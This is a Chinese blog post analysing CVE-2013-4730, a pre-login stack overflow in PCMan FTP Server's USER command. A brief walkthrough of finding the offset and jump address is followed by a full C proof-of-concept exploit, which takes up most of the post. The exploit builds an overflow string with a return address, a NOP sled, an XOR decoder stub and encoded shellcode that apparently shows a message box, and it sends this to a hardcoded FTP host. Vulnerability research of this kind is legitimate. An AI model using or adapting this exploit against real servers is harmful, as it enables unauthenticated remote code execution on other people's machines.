【PCManFTP】CVE-2013-4730 漏洞分析

版权声明:本文为博主原创文章,转载请注明出处。 https://blog.csdn.net/D_K_01/article/details/80811428

0x00 软件简介

PCMan FTP Server是一款简便架设FTP的软件,由于此软件未能有效处理FTP命令的字符长度,引发栈溢出漏洞,导致攻击者可以远程执行任何命令。

0x01 漏洞成因

用于FTP登陆的”USER”命令可触发此漏洞,在未提前获得目标的FTP访问的权限下,就可对其进行溢出攻击,影响极其严重。

0x02 溢出测试

建立Socket连接,连接目标FTP
接收FTP服务端欢迎语
发送登录请求
接收请求结果

正常请求
Normal

Mona2 构造字符串
Mona

得到偏移值 2008
offset

查找跳板指令
jmp

0x03 利用过程

构造Exploit

Win7下弹窗内容不能正常显示
Win7

Win10,偏移值为2012
Win10

0x04 Poc

#include "stdafx.h"
#include <WinSock2.h>
#pragma  comment(lib,"Ws2_32.lib")

//加密ShellCode
char cShellCode[] = \
"\x67\x84\xEB\x78\xEC\x53\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63"\
"\x75\x62\x74\x74\x07\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75"\
"\x7E\x42\x7F\x46\x07\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B"\
"\x07\x07\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x07\x42"\
"\x7F\x6E\x73\x57\x75\x68\x64\x62\x74\x74\x07\x07\x4F\x62\x6B\x6B"\
"\x68\x27\x50\x68\x75\x6B\x63\x26\x07\x07\xEF\x07\x07\x07\x07\x5C"\
"\x63\x8C\x32\x37\x07\x07\x07\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C"\
"\x51\x0F\x54\x55\xEF\x13\x07\x07\x07\x8C\xF7\x55\x8A\x4C\xB0\x56"\
"\x55\xF8\xD7\x5D\x54\x51\x57\x55\xEF\x69\x07\x07\x07\x52\x8C\xEB"\
"\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x8A\x33\x35\x8C\x71\x7F"\
"\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A"\
"\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7"\
"\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C\x52\x0F\x8A\x33\x35\x8C"\
"\x5A\x0B\x8A\x7C\xA0\xBE\x09\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C"\
"\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52"\
"\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB"\
"\x0F\x8C\x5A\x13\x8A\x4C\xC0\x34\xC7\x57\x57\x56\xF8\x52\x0B\x8A"\
"\x4C\xD4\x56\x57\xF8\x52\x17\x8E\x42\xFB\x8A\x4C\xE7\x56\xF8\x72"\
"\x0F\xF8\x52\x17\x8E\x42\xFF\x34\xC7\x8A\x4C\xEA\x57\x56\x56\x57"\
"\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x8C\xE2\x5A\xC5\x0F\x07\x07";

//解密代码
char cDecode[] = {
    0x33,0xC0,              // xor eax,eax
    0xE8,0xFF,0xFF,0xFF,0xFF,   // call 0xFFFFFFFF
    0xC3,                   // retn
    0x58,                    // pop eax            ;eax=GetPc
    0x8D,0x70,0x1B,         // lea esi,[eax+0x1B] ;esi=Shellcode
    0x33,0xC9,              // xor ecx,ecx        ;ecx=循环计数器
    0x66,0xB9,0x40,0x01,        // mov cx,0x0136      ;cx =She..体积
    //tag_Decode:
    0x8A,0x04,0x0E,         // mov al,[esi+ecx]   ;al =解密前字节
    0x34,0x07,              // xor al,0x07        ;0x07为Key,
    0x88,0x04,0x0E ,            // mov [esi+ecx],al
    0xE2,0xF6,              // loop tag_Decode
    0x80,0x34,0x0E,0x07 ,       // xor [esi+ecx],0x07 ;解密最后一字节
    0xFF,0xE6 };                // jmp esi            ;跳到Shellcode

int main()
{   //初始化套接字
    WSADATA stWSA;
    WSAStartup(0X0202, &stWSA);

    //创建套接字
    SOCKET strListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

    //绑定端口
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.2.3");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;

    //连接
    connect(strListen, (SOCKADDR*)&stService, sizeof(stService));
    char szRecv[0x100] = { 0 };
    char *pCommand = "USER anonymouse";
    recv(strListen, szRecv, sizeof(szRecv), 0);
    printf("%s", szRecv);

    //构造Exploiit
    char cExploit[3000] = { 0 };
    char cFill[3000] = { 0 };
    char cNop[50] = { 0 };
    char cJMP[5] = "\xf7\xf7\x03\x77";
    memset(cFill, 'A', 2003);
    memset(cNop, '\x90', sizeof(cNop) - 1);
    sprintf_s(cExploit, "USER %s%s%s%s%s%s", cFill, cJMP, cNop, cDecode, cShellCode,"\r\n");

    //发送登录请求
    send(strListen, cExploit, strlen(cExploit), 0);
    recv(strListen, szRecv, sizeof(szRecv), 0);
    printf("%s", szRecv);   

    //退出程序
    closesocket(strListen);
    WSACleanup();
    return 0;
}

End

猜你喜欢

转载自blog.csdn.net/D_K_01/article/details/80811428
今日推荐